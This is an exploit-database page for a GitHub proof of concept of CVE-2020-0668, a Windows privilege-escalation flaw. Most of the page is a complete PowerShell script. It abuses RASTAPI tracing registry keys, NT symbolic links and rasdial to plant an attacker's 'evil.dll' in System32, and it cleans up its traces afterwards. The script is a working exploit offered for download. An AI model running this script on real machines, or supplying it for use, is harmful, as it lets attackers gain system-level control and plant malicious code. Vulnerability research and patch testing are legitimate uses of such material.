Exploit database

GH-e6d85bd80560b2134561f060e51af4b2

ycdxsb/cve-2020-0668

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2020-0668

14 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
ycdxsb/cve-2020-0668Revision 6dfe9a994526

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Diaghub_Exploit/exp.ps1

PowerShell · 1,625 bytes
Import-Module ".\NtApiDotNet.dll" -ErrorAction Stop

$tmpDir = "$env:TMP\$(New-Guid)"
New-Item -ItemType Directory -Path $tmpDir|Out-Null

$inDllPath = "$env:TMP\$(New-Guid).dll"
$outDllPath = "C:\Windows\System32\evil.dll"
$phonebook = "$env:TMP\$(New-Guid).pbk"

#copy phonebook.pbk to temp
copy phonebook.pbk $phonebook

#copy WindowsCoreDeviceInfo.dll to temp
copy evil.dll $inDllPath

#create symbolink
[NtApiDotNet.NtFile]::CreateMountPoint("\??\$tmpDir", "\RPC Control", $null)
$new = [NtApiDotNet.NtSymbolicLink]::Create("\RPC Control\RASTAPI.LOG", "\??\$inDllPath")
$old = [NtApiDotNet.NtSymbolicLink]::Create("\RPC Control\RASTAPI.OLD", "\??\$outDllPath")

#change reg
$regpath = "HKLM:\SOFTWARE\Microsoft\Tracing\RASTAPI"
Set-ItemProperty -Path $regpath -Name "FileDirectory" -Value $tmpDir
Set-ItemProperty -Path $regpath -Name "EnableFileTracing" -Value 1
Set-ItemProperty -Path $regpath -Name "MaxFileSize" -Value 0x1000
sleep(3)

#trigger CVE-2020-0668 by rasdial VPNTEST test test /PHONEBOOK:phonebookPath
Start-Process -NoNewWindow rasdial.exe "VPNTEST test test /PHONEBOOK:$phonebook"
sleep(3)

#clean reg
Set-ItemProperty -Path $regpath -Name "FileDirectory" -Value "%windir%\tracing"
Set-ItemProperty -Path $regpath -Name "EnableFileTracing" -Value 0
Set-ItemProperty -Path $regpath -Name "MaxFileSize" -Value 0x100000 

#clean symbolink
$old.Dispose()
$new.Dispose()

[NtApiDotNet.NtFile]::DeleteReparsePoint("\??\$tmpDir") | Out-Null
Remove-Item -Path $tmpDir -Force
Remove-Item -Path $phonebook -Force

sleep(3)

Write-Host "move $inDllPath to $outDllPath"